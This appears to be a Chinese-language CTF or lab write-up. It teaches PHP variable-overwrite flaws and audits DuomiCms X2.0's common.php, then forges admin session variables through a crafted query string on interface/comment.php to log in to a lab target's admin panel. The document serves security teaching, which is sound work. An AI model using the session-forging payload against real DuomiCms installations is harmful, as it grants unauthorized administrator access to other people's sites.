知識(shí)梳理
1. 變量覆蓋漏洞
變量覆蓋指的是用的傳參值替換程序原有的變量值
一般變量覆蓋漏洞需要結(jié)合程序的其它功能來(lái)實(shí)現(xiàn)完整的攻擊。變量覆蓋漏洞大多數(shù)由函數(shù)使用不當(dāng)導(dǎo)致,$$使用不當(dāng),extract()函數(shù)使用不當(dāng),parse_str()函數(shù)使用不當(dāng),import_request_variables()使用不當(dāng),開啟了全局變量注冊(cè)等。
2. $$
$$這種寫法稱為可變變量,一個(gè)可變變量獲取了一個(gè)普通變量的值作為這個(gè)可變變量的變量名
3. extract()
extract() 函數(shù)從數(shù)組中將變量導(dǎo)入到當(dāng)前的符號(hào)表。
該函數(shù)使用數(shù)組鍵名作為變量名,使用數(shù)組鍵值作為變量值。針對(duì)數(shù)組中的每個(gè)元素,將在當(dāng)前符號(hào)表中創(chuàng)建對(duì)應(yīng)的一個(gè)變量。
該函數(shù)返回成功設(shè)置的變量數(shù)目。
4.parse_str()
parse_str函數(shù)的作用就是解析字符串到變量中,直接覆蓋掉已有變量
注意:如果未設(shè)置 array 參數(shù),由該函數(shù)設(shè)置的變量將覆蓋已存在的同名變量。
5. import_request_variables()
import_request_variables—將 GET/POST/Cookie 變量導(dǎo)入到全局作用域中
import_request_variables()函數(shù)就是把GET、POST、COOKIE的參數(shù)注冊(cè)成變量,用在register_globals被禁止的時(shí)候
6. Session和cookie
客戶端瀏覽器訪問(wèn)服務(wù)器的時(shí)候,服務(wù)器把客戶端信息以某種形式記錄在服務(wù)器上。這就是Session??蛻舳藶g覽器再次訪問(wèn)時(shí)只需要從該Session中查找該客戶的狀態(tài)就可以了。
區(qū)別在于Session是記錄在服務(wù)端的,而Cookie是記錄在客戶端的
7. Session的生命周期
Session生成后,只要用戶繼續(xù)訪問(wèn),服務(wù)器就會(huì)更新Session的最后訪問(wèn)時(shí)間,并維護(hù)該Session。用戶每訪問(wèn)服務(wù)器一次,無(wú)論是否讀寫Session,服務(wù)器都認(rèn)為該用戶的Session“活躍(active)”了一次。
8.代碼審計(jì)流派
- 通讀全文[要審計(jì)的代碼的全文][需要大量時(shí)間]
- 危險(xiǎn)函數(shù)定位法 [mysqli_query](推薦)
- 動(dòng)態(tài)追蹤 [可以對(duì)代碼執(zhí)行下斷點(diǎn)],依靠phpstrom + Xdebug
靶場(chǎng)
http://59.63.200.79:8010/abc/upload/

-
下載(DuomiCms X2.0進(jìn)行代碼審計(jì)
-
進(jìn)行危險(xiǎn)函數(shù)定位
$$;

在upload/duomiphp/common.php文件中,有如下可能存在$$變量覆蓋的代碼
-
查看源碼進(jìn)行分析
foreach(Array('_GET','_POST','_COOKIE') as $_request)
{
foreach($$_request as $_k => $_v) ${$_k} = _RunMagicQuotes($_v);
}
-
定位
_RunMagicQuotes()函數(shù)
function _RunMagicQuotes(&$svar)
{
if(!get_magic_quotes_gpc())
{
if( is_array($svar) )
{
foreach($svar as $_k => $_v) $svar[$_k] = _RunMagicQuotes($_v);
}
else
{
$svar = addslashes($svar);
}
}
return $svar;
}
該函數(shù)本質(zhì)上類似魔術(shù)引號(hào)
-
從上向下查看代碼發(fā)現(xiàn)只要進(jìn)入以下循環(huán),變量覆蓋代碼會(huì)被執(zhí)行
foreach($_REQUEST as $_k=>$_v)
{
if( strlen($_k)>0 && m_eregi('^(cfg_|GLOBALS)',$_k) && !isset($_COOKIE[$_k]) )
{
exit('Request var not allow!');
}
}
$_REQUEST as $_k=>$_v 鍵值分離
strlen()用于判斷$_k是否長(zhǎng)度
m_eregi()用于判斷$_k是否包含cfg_或GLOBALS
所以只要請(qǐng)求中不包含cfg_或GLOBALS,且gat傳參和cookie傳參中有傳參名相同,就不會(huì)執(zhí)行exit(),會(huì)執(zhí)行到變量覆蓋代碼段。
-
全局搜索那些文件引用了common.php
在/admin/login.php中引用了

-
審計(jì)
/admin/login.php
require_once(dirname(__FILE__).'/../duomiphp/common.php');
require_once(duomi_INC."/check.admin.php");
后臺(tái)管理的登錄頁(yè)面同時(shí)引用了check.admin.php,該文件處于/duomiphp/目錄下。
-
審計(jì)
/duomiphp/check.admin.php
發(fā)現(xiàn)里面開啟了session,這意味著session可能會(huì)和Cookie捆綁,也意味著我們?nèi)绻梢詡卧旃芾韱T當(dāng)session就可能登錄到管理員后臺(tái)。

//保持用戶的會(huì)話狀態(tài)
//成功返回 1 ,失敗返回 -1
function keepUser()
{
if($this->userID!=""&&$this->groupid!="")
{
global $admincachefile;
$_SESSION[$this->keepUserIDTag] = $this->userID;
$_SESSION[$this->keepgroupidTag] = $this->groupid;
$_SESSION[$this->keepUserNameTag] = $this->userName;
$fp = fopen($admincachefile,'w');
fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
fclose($fp);
return 1;
}
else
{
return -1;
}
}
保持會(huì)話需要三個(gè)參數(shù)keepUserIDTag、keepgroupidTag、keepUserNameTag
var $userName = '';
var $userPwd = '';
var $userID = '';
var $adminDir = '';
var $groupid = '';
var $keepUserIDTag = "duomi_admin_id";
var $keepgroupidTag = "duomi_group_id";
var $keepUserNameTag = "duomi_admin_name";
發(fā)現(xiàn)$groupid是有規(guī)律的
在/admin/admin_manager.php定義
function getManagerLevel($groupid)
{
if($groupid==1){
return "系統(tǒng)管理員";
}else if($groupid==2){
return "網(wǎng)站編輯員";
}else{
return "未知類型";
}
}
-
登陸自建網(wǎng)站后臺(tái),獲取 $_SESSION
使用die(var_dump($_SESSION));,在我們自己搭建當(dāng)環(huán)境下測(cè)試看看,當(dāng)管理員登錄后,$_SESSION會(huì)時(shí)什么樣的。
function keepUser()
{
if($this->userID!=""&&$this->groupid!="")
{
global $admincachefile;
$_SESSION[$this->keepUserIDTag] = $this->userID;
$_SESSION[$this->keepgroupidTag] = $this->groupid;
$_SESSION[$this->keepUserNameTag] = $this->userName;
die(var_dump($_SESSION));
$fp = fopen($admincachefile,'w');
fwrite($fp,'<'.'?php $admin_path ='." '{$this->adminDir}'; ?".'>');
fclose($fp);
return 1;
}
else
{
return -1;
}
}

登陸成功后的session值
array(5) {
["duomi_ckstr"]=>
string(4) "edtt"
["duomi_ckstr_last"]=>
string(0) ""
["duomi_admin_id"]=>
string(1) "1"
["duomi_group_id"]=>
string(1) "1"
["duomi_admin_name"]=>
string(5) "admin"
}
偽造管理員session傳參
_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
duomi_ckstr是驗(yàn)證碼,沒啥用
必須要先開啟session_start(),在引用commmon.php才會(huì)造成變量覆蓋
-
搜索先開啟session并在后面引用了commmon.php的文件
搜索后發(fā)現(xiàn)/interface/comment.php頁(yè)面符合條件

-
靶場(chǎng)傳參
interface/comment.php?_SESSION[duomi_admin_id]=1&_SESSION[duomi_group_id]=1&_SESSION[duomi_admin_name]=admin
在訪問(wèn)后臺(tái)登陸
http://59.63.200.79:8010/abc/upload/admin/

直接登陸后臺(tái);得到flag{nOthIng_fIag}
